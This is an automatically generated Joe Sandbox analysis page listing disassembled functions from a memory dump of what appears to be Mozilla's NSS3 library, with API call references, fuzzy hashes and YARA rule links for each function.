Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 5275c5f12c4d12dc431012d7799e99bf1ad0df3f01ba698d13091d8308d4bd33
Instruction ID: 8e976846d776a7ccf383cf8ca1d15e1e34b03ac465eed5f7a6725c8254a8a402
Opcode Fuzzy Hash: 5275c5f12c4d12dc431012d7799e99bf1ad0df3f01ba698d13091d8308d4bd33
Instruction Fuzzy Hash: D9115931E002055BE720AE699E02BBF73FC9F5125CF004938FC15A6B41FB30E558C2A2

Function 6C7D8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C7F2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C7C4F1C), ref: 6C7D8EA2

Part of subcall function 6C7FF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C7FF854
Part of subcall function 6C7FF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C7FF868
Part of subcall function 6C7FF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C7FF882
Part of subcall function 6C7FF820: free.MOZGLUE(04C483FF,?,?), ref: 6C7FF889
Part of subcall function 6C7FF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C7FF8A4
Part of subcall function 6C7FF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C7FF8AB
Part of subcall function 6C7FF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C7FF8C9
Part of subcall function 6C7FF820: free.MOZGLUE(280F10EC,?,?), ref: 6C7FF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C7F2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C7C4F1C), ref: 6C7D8EC3
TlsGetValue.KERNEL32(?,?,?,6C7F2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C7C4F1C), ref: 6C7D8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C7F2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7D8EF1
PR_Unlock.NSS3 ref: 6C7D8F20

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 8a78b71027d0a221558f87eef38fa20bc90ff27deb50f77f63dc4be20f709273
Instruction ID: 1ce7764bc1b2d46677002ca0ff47f768b210dd10d0fc0ccff6ea0960a58ec53d
Opcode Fuzzy Hash: 8a78b71027d0a221558f87eef38fa20bc90ff27deb50f77f63dc4be20f709273
Instruction Fuzzy Hash: 10217E70909605AFD700AF29C688599BBF4FF48318F06556EEC989BB40DB30F854CBD2

Function 6C8126A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

_NSSUTIL_GetSecmodName.NSS3(?,?,?,?,?), ref: 6C8126DD

Part of subcall function 6C815DE0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C815E08
Part of subcall function 6C815DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C815E3F
Part of subcall function 6C815DE0: PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C815E5C
Part of subcall function 6C815DE0: free.MOZGLUE(00000000), ref: 6C815E7E
Part of subcall function 6C815DE0: free.MOZGLUE(00000000), ref: 6C815E97
Part of subcall function 6C815DE0: PORT_Strdup_Util.NSS3(secmod.db), ref: 6C815EA5
Part of subcall function 6C815DE0: _NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C815EBB
Part of subcall function 6C815DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C815ECB
Part of subcall function 6C815DE0: PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C815EF0

PR_SetError.NSS3(FFFFE0B1,00000000), ref: 6C8126F8

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

free.MOZGLUE(00000000), ref: 6C813434
free.MOZGLUE(?), ref: 6C813448
free.MOZGLUE(?), ref: 6C81345C

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$Value$L_strncasecmpParam$ConfigErrorEvaluateNameSecmodStrdup_Utilisspace
String ID:
API String ID: 3127463018-0
Opcode ID: b7b68ff6f442c5238488a54ae2fd774ff25fbde45b8342deb9b8dc72c1506dcf
Instruction ID: 43c30a84a72751d052955777c089aa95c7b09433ff3c1e621c0c6f3aa1fc14f1
Opcode Fuzzy Hash: b7b68ff6f442c5238488a54ae2fd774ff25fbde45b8342deb9b8dc72c1506dcf
Instruction Fuzzy Hash: 5D11C3B1A041199BDF21DF58DC85A9A73B8FF05354F14887CE84997640EB319A58CBE2

Function 6C8404C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C84461B,-00000004), ref: 6C8404DF
TlsGetValue.KERNEL32(?,00000000,?,6C84461B,-00000004), ref: 6C840510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6C840520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C84461B,-00000004), ref: 6C840534
GetLastError.KERNEL32(?,6C84461B,-00000004), ref: 6C840543

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: c7f9c0776d9fb37982dfa9307217e81badb77321e5e5d29f17b9ecef07957733
Instruction ID: ba3858c8aadc8234ffff097289268e9fb452b209cca137684e95fd7494b47a0f
Opcode Fuzzy Hash: c7f9c0776d9fb37982dfa9307217e81badb77321e5e5d29f17b9ecef07957733
Instruction Fuzzy Hash: B9112B71B0414D5BDB206A38DD08B673664EF22319F728E2DE425E79D0EB31D154CB91

Function 6C7C8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C7D0710), ref: 6C7C8FF1
PR_CallOnce.NSS3(6C912158,6C7C9150,00000000,?,?,?,6C7C9138,?,6C7D0710), ref: 6C7C9029
calloc.MOZGLUE(00000001,00000000,?,?,6C7D0710), ref: 6C7C904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C7D0710), ref: 6C7C9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C7D0710), ref: 6C7C9078

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 3d3cdcbcdc27e3725b39bfb97b1d988b13f8e80496f39b2230b06afe5b103d9b
Instruction ID: 4539683dcfe24324d84ebdb0b2fd6282813c6f7af2b689e9dff924014a143bea
Opcode Fuzzy Hash: 3d3cdcbcdc27e3725b39bfb97b1d988b13f8e80496f39b2230b06afe5b103d9b
Instruction Fuzzy Hash: 4D1125217041135FE76016AD9D06A6A76A8EB927ACF500531FC44C2E41F313CD95C3B7

Function 6C7DCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C7F1E10: TlsGetValue.KERNEL32 ref: 6C7F1E36
Part of subcall function 6C7F1E10: EnterCriticalSection.KERNEL32(?,?,?,6C7CB1EE,2404110F,?,?), ref: 6C7F1E4B
Part of subcall function 6C7F1E10: PR_Unlock.NSS3 ref: 6C7F1E76

free.MOZGLUE(?,6C7DD079,00000000,00000001), ref: 6C7DCDA5
PK11_FreeSymKey.NSS3(?,6C7DD079,00000000,00000001), ref: 6C7DCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C7DD079,00000000,00000001), ref: 6C7DCDCF
DeleteCriticalSection.KERNEL32(?,6C7DD079,00000000,00000001), ref: 6C7DCDE2
free.MOZGLUE(?), ref: 6C7DCDE9

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 8beff242ef1619c88a7fafeff2a67cf2d89f452cb95d1f6d6d259f64eb8addbe
Instruction ID: d4edfc83e16730cdb311851c2213e6d96d2fbee8561ffa0676c6f05821807d7d
Opcode Fuzzy Hash: 8beff242ef1619c88a7fafeff2a67cf2d89f452cb95d1f6d6d259f64eb8addbe
Instruction Fuzzy Hash: 7A1106B2B00101ABDF00AE65EE86996777CFF0426AB150135E91893E01D732F424C7E1

Function 6C842CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C845B40: PR_GetIdentitiesLayer.NSS3 ref: 6C845B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C842CEC

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

PR_EnterMonitor.NSS3(?), ref: 6C842D02
PR_EnterMonitor.NSS3(?), ref: 6C842D1F
PR_ExitMonitor.NSS3(?), ref: 6C842D42
PR_ExitMonitor.NSS3(?), ref: 6C842D5B

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 8d9fb1899bab434e643a8550f41a867145d77703c5b70fc7b1781e16c7b5042b
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 0301C8B19142086BE6309E29FD44BCBB7B1EF45319F008D35E85AC6720E636F415C7A2

Function 6C842D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C845B40: PR_GetIdentitiesLayer.NSS3 ref: 6C845B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C842D9C

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

PR_EnterMonitor.NSS3(?), ref: 6C842DB2
PR_EnterMonitor.NSS3(?), ref: 6C842DCF
PR_ExitMonitor.NSS3(?), ref: 6C842DF2
PR_ExitMonitor.NSS3(?), ref: 6C842E0B

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: f17ccc35f9d685324947e60a06ba125dc1803c5910cf69eb58b33a3f1143468e
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 2501A5B19146085BE6709E29FD45FCBB7B1EB41318F008D35E89AC6B11E636E42586A2

Function 6C7DAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C7C3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7DAE42), ref: 6C7C30AA
Part of subcall function 6C7C3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7C30C7
Part of subcall function 6C7C3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7C30E5
Part of subcall function 6C7C3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7C3116
Part of subcall function 6C7C3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C7C312B
Part of subcall function 6C7C3090: PK11_DestroyObject.NSS3(?,?), ref: 6C7C3154
Part of subcall function 6C7C3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C7B99FF,?,?,?,?,?,?,?,?,?,6C7B2D6B,?), ref: 6C7DAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C7B99FF,?,?,?,?,?,?,?,?,?,6C7B2D6B,?), ref: 6C7DAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7B2D6B,?,?,00000000), ref: 6C7DAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C7B2D6B,?,?,00000000), ref: 6C7DAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C7B2D6B,?,?), ref: 6C7DAEA3

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 5d9ce35371ad6b902cb408debae038793df2f123af578f871533ad1a2445860c
Instruction ID: 1c25b80db41319caa8c8db9185b649d3bf8d6f232faff61eb73e877151b7bbeb
Opcode Fuzzy Hash: 5d9ce35371ad6b902cb408debae038793df2f123af578f871533ad1a2445860c
Instruction Fuzzy Hash: 0901F477B001115BE701A22CAF8BAEF315C9B97B6DF0A0431E805C7B01FA12E909C2E3

Function 6C8CADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C8CA6D8), ref: 6C8CAE0D
free.MOZGLUE(?), ref: 6C8CAE14
DeleteCriticalSection.KERNEL32(6C8CA6D8), ref: 6C8CAE36
free.MOZGLUE(?), ref: 6C8CAE3D
free.MOZGLUE(00000000,00000000,?,?,6C8CA6D8), ref: 6C8CAE47

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 6421a2e261d6618cbff98d26c794019387ff3831917aceb63aa6f782124739e6
Instruction ID: 078951a6f3f2cbe82aa87ca1b2d3f0a415c905170a1ceebb60b89f15cdfc067b
Opcode Fuzzy Hash: 6421a2e261d6618cbff98d26c794019387ff3831917aceb63aa6f782124739e6
Instruction Fuzzy Hash: BEF062B6301A05A7CB109F68980995777B8FF86775724032CE52A83980D731E115C7E6

Function 6C746C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C746D36

Strings

%s at line %d of [%.10s], xrefs: 6C746D2F
database corruption, xrefs: 6C746D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C746D20

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 44cabfa693c661b44ab7450e1783453e7eef8e8ae73b4cf54578ebcfc4d90ec0
Instruction ID: e7b0c57fc9cd4f73a0a325f1119a0d842f12b2102e61104cff97f7fa10733dbc
Opcode Fuzzy Hash: 44cabfa693c661b44ab7450e1783453e7eef8e8ae73b4cf54578ebcfc4d90ec0
Instruction Fuzzy Hash: ED21F770600305DBCB10CF15CA46B9AB7F2AF85318F14892DD8499BF51E371FA458B91

Function 6C87CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C87CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C87CC7B), ref: 6C87CD7A
Part of subcall function 6C87CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C87CD8E
Part of subcall function 6C87CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C87CDA5
Part of subcall function 6C87CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C87CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C87CCB5
memcpy.VCRUNTIME140(6C9114F4,6C9102AC,00000090), ref: 6C87CCD3
memcpy.VCRUNTIME140(6C911588,6C9102AC,00000090), ref: 6C87CD2B

Part of subcall function 6C799AC0: socket.WSOCK32(?,00000017,6C7999BE), ref: 6C799AE6
Part of subcall function 6C799AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C7999BE), ref: 6C799AFC

Part of subcall function 6C7A0590: closesocket.WSOCK32(6C799A8F,?,?,6C799A8F,00000000), ref: 6C7A0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C87CCB0

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 0e18846bc55d044f8a6cfedf97881de91ca8c05c3b64385ee4d7d4992ea84ac3
Instruction ID: 02a1317431e636583f5ecba2aee05a6e10852cbcde5e692025c1a31e31c3a3c1
Opcode Fuzzy Hash: 0e18846bc55d044f8a6cfedf97881de91ca8c05c3b64385ee4d7d4992ea84ac3
Instruction Fuzzy Hash: F71148B1B08244BEDB209F5D9E077867AB89367618F241929E50597F81E771C408C7D6

Function 6C7E2520 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetFunctionList), ref: 6C7E2538
PR_LogPrint.NSS3( ppFunctionList = 0x%p,?), ref: 6C7E2551

Part of subcall function 6C8C09D0: PR_Now.NSS3 ref: 6C8C0A22
Part of subcall function 6C8C09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C8C0A35
Part of subcall function 6C8C09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C8C0A66
Part of subcall function 6C8C09D0: PR_GetCurrentThread.NSS3 ref: 6C8C0A70
Part of subcall function 6C8C09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C8C0A9D
Part of subcall function 6C8C09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C8C0AC8
Part of subcall function 6C8C09D0: PR_vsmprintf.NSS3(?,?), ref: 6C8C0AE8
Part of subcall function 6C8C09D0: EnterCriticalSection.KERNEL32(?), ref: 6C8C0B19
Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C8C0B48
Part of subcall function 6C8C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C8C0C76
Part of subcall function 6C8C09D0: PR_LogFlush.NSS3 ref: 6C8C0C7E

Strings

ppFunctionList = 0x%p, xrefs: 6C7E254C
C_GetFunctionList, xrefs: 6C7E2533

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
